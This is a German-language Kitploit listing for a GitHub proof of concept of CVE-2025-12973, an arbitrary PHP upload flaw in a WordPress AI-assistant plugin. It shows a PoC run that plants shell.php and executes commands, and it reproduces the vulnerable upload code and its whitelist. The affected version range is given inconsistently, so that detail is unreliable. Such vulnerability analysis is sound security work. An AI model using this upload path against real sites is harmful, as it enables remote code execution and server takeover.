Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-12973 — S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Inhalts- und Bildgenerator <= 1.7.7 - Authentifiziert (Editor+) Beliebiger Datei-Upload | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-12973
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubd0n601/cve-2025-12973

CVE-2025-12973

S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Inhalts- und Bildgenerator <= 1.7.7 - Authentifiziert (Editor+) Beliebiger Datei-Upload

Repository anzeigen
vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.7 - Authentifizierter (Editor+) Datei-Upload-Schwachstelle

Das WordPress-Plugin S2B AI Assistant (Versionen 2.47 und früher) enthält eine Schwachstelle für beliebigen Datei-Upload, die es authentifizierten WordPress-Benutzern mit der Rolle Editor oder höher ermöglicht, bösartige PHP-Dateien auf den Server hochzuladen, was potenziell zu Remote-Code-Ausführung führen kann.

TL;DR Exploits

Ein POC CVE-2025-12973.py wird bereitgestellt, um einen entfernten Angreifer zu demonstrieren, der shell.php hochlädt und Remote-Code ausführt:

root@kitploit:~
python3 ./CVE-2025-12973.py http://techcorp.cc editor $PASSWORD
[+] Target: http://techcorp.cc
[+] Username: editor
[+] Nonce obtained: a15be47119
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/uploads/2025/11/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Technische Beschreibung

Die Schwachstelle existiert in der Datei Utils.php in der Methode storeFile(), die vom Endpunkt /wp-admin/admin-post.php mit der Aktion s2b_store_chatbot_upload aufgerufen wird. Die Upload-Funktionalität verwendet eine benutzerdefinierte Whitelist für Dateierweiterungen, die explizit gefährliche Dateitypen einschließlich PHP-Dateien erlaubt. Dies ermöglicht authentifizierten WordPress-Benutzern mit der Rolle Editor oder höher, beliebige Dateien, einschließlich PHP-Dateien, die auf dem Server ausgeführt werden können, hochzuladen.

Angriffspfad-Analyse

Quelle: Benutzereingabe von $_FILES['s2baia_chatbot_config_database'] (Zeile 300) Senke: $wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE) (Zeile 344)

Die Schwachstelle tritt auf, weil:

  1. Routenregistrierung: Der Upload-Endpunkt ist in AdminChatBotController.php registriert.
  2. Controller-Zugriff: Die Methode processAssistantUpload() behandelt die Upload-Anfrage (Zeile 1103).
  3. Eingabeverarbeitung: Benutzergesteuerte Dateidaten von $_FILES['s2baia_chatbot_config_database'] werden direkt ohne ordnungsgemäße Validierung verarbeitet.
  4. Dateiverarbeitung: Es wird nur eine benutzerdefinierte Whitelist-Prüfung mit checkAllowedFilesearchExtensions() (Zeile 320) angewendet, die explizit die Erweiterung .php erlaubt (Zeile 366).
  5. Dateispeicherung: Dateien werden unter wp-content/uploads/YYYY/MM/ gespeichert.

Anfälliger Code-Standort

Datei: lib/helpers/Utils.php Zeilen: 289-348

root@kitploit:~
public static function storeFile($targetDir) {
    global $wp_filesystem;

    // Initialize WP_Filesystem
    if (!function_exists('request_filesystem_credentials')) {
        require_once ABSPATH . 'wp-admin/includes/file.php';
    }
    if (!WP_Filesystem()) {
        return '';
    }

    if (!isset($_FILES) || !is_array($_FILES) || !isset($_FILES['s2baia_chatbot_config_database'])) {  // SOURCE: User input ([line 300](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L300))
        return '';
    }

    if (!isset($_FILES['s2baia_chatbot_config_database']['error']) || !isset($_FILES['s2baia_chatbot_config_database']['name']) || !isset($_FILES['s2baia_chatbot_config_database']['size']) || !isset($_FILES['s2baia_chatbot_config_database']['tmp_name'])) {
        return '';
    }

    $chunk = isset($_REQUEST["chunk"]) ? (int) $_REQUEST["chunk"] : 0;
    $name = sanitize_file_name($_FILES['s2baia_chatbot_config_database']['name']);
    if (strlen($name) == 0) {
        return '';
    }

    $finfo = pathinfo($name);

    if (is_array($finfo)) {
        $fname = sanitize_file_name($finfo['filename']);
        $fext = $finfo['extension'];
        if (!self::checkAllowedFilesearchExtensions($fext)) {  // Only custom whitelist check ([line 320](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L320))
            return '';
        }
        if ($wp_filesystem->exists($targetDir . DIRECTORY_SEPARATOR . $name)) {
            $timest = time();
            $name = $fname . '_' . $timest . '_' . random_int(1000, 9999) . '.' . $fext;
        }
    }

    $tmp_name = sanitize_text_field($_FILES['s2baia_chatbot_config_database']['tmp_name']);
    $outfile = $targetDir . DIRECTORY_SEPARATOR . $name;

    // Open the output file and write contents using WP_Filesystem
    if ($chunk === 0) {
        $wp_filesystem->put_contents($outfile, '', FS_CHMOD_FILE);
    }

    // Read the temporary file and append its contents to the output file
    $file_content = $wp_filesystem->get_contents($tmp_name);
    if ($file_content === false) {
        return '';
    }

    // Append content to the file
    if (!$wp_filesystem->put_contents($outfile, $file_content, FS_CHMOD_FILE)) {  // SINK: Direct file write ([line 344](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L344))
        return '';
    }

    // Delete the temporary file using WordPress method
    // ... rest of function
}

Datei: lib/helpers/Utils.php Zeilen: 354-383

root@kitploit:~
public static function checkAllowedFilesearchExtensions($ext) {
    switch ($ext) {
        case 'c':
        case 'cs':
        case 'cpp':
        case 'doc':
        case 'docx':
        case 'html':
        case 'java':
        case 'json':
        case 'md':
        case 'pdf':
        case 'php':  // Explicitly allows PHP files ([line 366](https://plugins.trac.wordpress.org/browser/s2b-ai-assistant/trunk/lib/helpers/Utils.php#L366))
        case 'pptx':
        case 'py':
        case 'rb':
        case 'tex':
        case 'txt':
        case 'css':
        case 'js':
        case 'sh':
        case 'ts':

            return true;

        default:
            return false;
    }
    return false;
}
Tool herunterladen